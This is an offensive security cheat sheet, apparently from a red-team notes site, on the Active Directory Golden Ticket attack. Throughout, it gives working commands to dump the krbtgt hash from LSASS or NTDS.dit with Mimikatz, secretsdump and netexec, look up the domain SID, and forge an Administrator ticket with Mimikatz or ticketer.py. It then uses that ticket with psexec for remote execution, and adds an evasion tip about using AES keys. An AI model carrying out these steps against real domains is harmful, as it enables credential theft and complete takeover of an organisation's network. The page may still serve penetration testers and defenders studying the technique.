# Golden Ticket

Consist on the creation of a legitimate Ticket Granting Ticket (TGT) impersonating any user through the use of the NTLM **hash of the AD krbtgt account**. This technique is particularly advantageous because it enables access to any service or machine within the domain as the impersonated user. It's crucial to remember that the krbtgt account's credentials are never automatically updated.

## NTLM Hash of krbtgt

Domain admin privileges or a similar level of access is typically required to acquire the NTLM hash of the krbtgt account. It can be extracted from the LSASS process or the NTDS.dit file located on any Domain Controller (DC) within the domain. Furthermore, executing a [DCsync attack](https://ivalexev.gitbook.io/rednote/pentesting-process/active-directory/dc-synchronization) is another strategy to obtain this NTLM hash.

{% tabs %}
{% tab title="Locally" %}
Use [Mimikatz](https://github.com/gentilkiwi/mimikatz)

{% code overflow="wrap" %}

```powershell
.\mimikatz.exe
privilege::debug
lsadump::lsa /inject /name:krbtgt
```

{% endcode %}
{% endtab %}

{% tab title="Remotely" %}
Use [impacket-secretsdump](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py)

{% code overflow="wrap" %}

```bash
secretsdump.py <DOMAIN>/<USER_ADMIN>:'<PASS>'@<DC> | grep krbtgt
```

{% endcode %}

SID Domain with [impacket-lookupsid.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/lookupsid.py)

{% code overflow="wrap" %}

```bash
lookupsid.py <DOMAIN>/<USER>:'<PASS>'@<DC> | grep -i "domain sid"
```

{% endcode %}

Or with netexec

{% code overflow="wrap" %}

```bash
nxc ldap <DC> -u '<USER>' -p <PASS> --get-sid
nxc smb <DC> -u '<USER_ADMIN>' -H <HASH> --ntds
```

{% endcode %}
{% endtab %}
{% endtabs %}

## Attack

{% tabs %}
{% tab title="Locally" %}
With [Mimikatz](https://github.com/gentilkiwi/mimikatz)

{% code overflow="wrap" %}

```powershell
kerberos::golden /User:Administrator /domain:<DOMAIN> /sid:<SID_DOMAIN> /krbtgt:<NTLM_KRBTGT> /id:500 /ptt
```

{% endcode %}

We can then create a separate command shell, using the Golden Ticket, with the following command:

{% code overflow="wrap" %}

```powershell
misc::cmd
```

{% endcode %}

Although the NTLM hash serves as a viable method for this purpose, it is strongly recommended to forge tickets using the Advanced Encryption Standard (AES) Kerberos keys (AES128 and AES256) for operational security reasons.
{% endtab %}

{% tab title="Remotely" %}
With [Impacket-ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py)&#x20;

{% code overflow="wrap" %}

```bash
ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> Administrator
```

{% endcode %}

{% code overflow="wrap" %}

```bash
ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> <NEW_USER>
```

{% endcode %}

Now import the ticket and use it

```bash
export KRB5CCNAME=<PATH_TO_FILE>.ccache
```

{% code overflow="wrap" %}

```bash
psexec.py <MACHINE_NAME>.<DOMAIN> -target-ip <MACHINE_IP> -dc-ip <DC> -k -no-pass
```

{% endcode %}
{% endtab %}
{% endtabs %}
